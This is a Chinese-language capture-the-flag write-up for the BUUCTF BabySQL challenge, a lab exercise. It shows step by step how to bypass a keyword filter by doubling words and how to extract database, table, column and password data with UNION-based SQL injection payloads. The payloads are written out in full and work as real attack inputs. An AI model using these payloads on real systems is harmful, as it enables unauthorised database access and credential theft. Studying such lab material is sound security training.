BUUCTF BabySQL 1
- 关键词 sql注入 绕过
题目描述
我们先随便输入一个账号密码,查看URL发现是通过PUT方式传递数据到后台的。
我们首先判断是否存在SQL注入,我们尝试在username参数后加一个“ ’ ”,发现数据库直接爆出了错误,说明是存在注入的。
解题步骤
接下来我们用万能密码试一下,首先我们判断下这里是字符型注入还是数值型注入,先尝试1’ or ‘1’=‘1%23
发现不可行,所以我们再尝试数值型注入,输入:1’ or 1=1%23,爆出了数据库错误,猜测是过滤了or(其实这里也过滤了and),尝试双写or试下,成功爆出。payload如下:
`1' or 1=1%23`
- 1
`admin' oorrder bbyy 3%23`
- 1
`admin' oorrder bbyy 3%23`
- 1
`' ununionion seselectlect 1,2,database()%23`
- 1
`ununionion seselectlect 1,2,group_concat(table_name)frfromom infoorrmation_schema.tables whwhereere table_schema='geek'%23`
- 1
`' ununionion seselectlect 1,2,group_concat(column_name)frfromom infoorrmation_schema.columns whwhereere table_schema='geek' anandd table_name='b4bsql'%23`
- 1
`' ununionion seselectlect 1,2,group_concat(passwoorrd) frfromom geek.b4bsql %23`
- 1
思路总结
1.既然爆出数据库错误,说明系统没有屏蔽报错信息,可以尝试union注入。
2.注入发现过滤了一些敏感字符,尝试大小写,双写等绕过。
3.注入前一定要判断是数值型注入还是字符型注入。